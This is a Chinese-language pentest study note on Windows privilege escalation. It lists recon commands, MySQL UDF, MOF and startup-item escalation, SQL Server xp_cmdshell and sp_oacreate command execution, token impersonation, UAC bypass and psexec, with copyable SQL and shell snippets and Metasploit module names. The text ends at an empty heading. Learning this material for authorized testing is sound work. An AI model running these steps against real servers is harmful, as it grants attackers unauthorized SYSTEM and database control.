Windows提权

溢出提权

收集信息

1
2
3
4
5
6
7
whoami
whoami /priv 查看当前用户可执行的事情
net user
net localgroup
ver
systeminfo
tasklist /svc

web权限提权

本地提权

查找步骤和前面一样

登录本地用户

执行提权的CVE:例如CVE-2020-0780

本地执行CVE-2020-0780.exe,新弹出个高权限的命令窗口

数据库提权

一般网站都会搭建数据库,所以可以用数据库进行提权

mysql提权

前提:知道数据库密码

通过sql注入,爆破,任意文件读取等获取密码

UDF提权

mysql的聂志函数虽然丰富,但毕竟不能完全满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候就需要对MySQL进行一些扩展,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF。

提权原理

通过定义自定义函数,通过添加新函数,执行系统命令。比如通过引入udf.dll,引入自动以函数(sys_eval函数),执行系统命令。

MSF提权

高版本:

MySQL需要添加:secure-file-priv=””

MySQL版本 > 5.1,udf.dll文件必须放置在MySQL安装目录的lib\plugin文件夹下才可以创建自定义函数。

MySQL版本<5.1,win 2000操作系统需要导出udf.dll到c:\winnt\目录下

win 2003操作系统导出udf.dll到c:\windows\目录下。在MySQL5.1版本及以后的环境下,udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin目录下。

条件:

已拥有MySQL某个用户账号

知道MySQL版本、安装路径、端口是否开放(select @@basedir select version())

开启外联语句

1
2
3
grant all privileges on *.* to 'root'@'%' identified by 'Admin@123' with gran
t option;
flush privileges;

提权

手动提权

  1. 创建文件夹: /lib/plugin

  2. 导入abc.dll创建sys_eval()函数

    1
    create function sys_eval returns string soname 'abc.dll';
  3. 使用sys_eval()函数

    1
    select sys_eval('net user');

使用MSF模块

  1. exploit/nulti/mysql/mysql_udf_payload

  2. 再使用工具连接数据库,执行

    1
    2
    create function sys_eval return string soname 'WGqASYxX.dll';
    select sys_eval('whoami');

MOF提权

利用了C:/windows/system32/wbem/mof目录下的nullevt/mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\wbem\MOF目录下。

失败原因:关键目录写不进去,需要等待被动去执行。

msf模块

exploit/windows/mysql/mysql_mof

启动项提权

​ 基于MySQL特性的安全问题,导入自定义的可执行文件到启动目录下,重启后加载可执行文件。

​ 需要开启数据库外联、

MSF模块:

exploit/windows/mysql/mysql_start_up

sql_server 提权

使用:xp_cmdshell、sq_oacreate提权

xp_cmdshell提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥
有管理员sa权限则可以用sp_configure重新开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Micros
oft SQL Server\MSSQL\Binn\xplog70.dll'

sp_oacreate提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_
oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.t
xt'
以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedd
ing的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

令牌窃取

令牌(token)是系统的临时密钥,相当于账号和密码、用来决定是否允许这次请求和判断这次请求是属于哪个用户的。它允许你在不提供账号密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非重新启动。

令牌类型

  • 授权令牌:交互式会话登录
  • 模拟令牌:非交互式登录
  • 两种token只有在系统重启后才会清除,授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
  • 默认只能列举当前用户和比当前用户权限更低用户的令牌,但当前的shell是administrator或system时就可以看到系统中的所有令牌

msf模块

  1. 接收到一个反弹会话
  2. 利用incognito.exe工具 use incognito
  3. 查看令牌 list_tokens -u
  4. 窃取令牌: impersonate_token “NT AUTHORITY\SYSTEM”

Bypass UAC绕过

​ 操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则。执行的时候就需要权限,否则是不会运行的

MFS模块

use exploit/windows/local/bypassuac

其他提权方式

psexec提权

PsExec属于SysinternalSuite(一个windows的内核的套件),其中一个工具。

psexec这个工具可以以System账号执行一个程序

适用于本地提权

1
2
3
psexec -i -s cmd
-i 使用交互模式运行程序
-s 使用System账号来运行

进程注入,迁移

MSF模块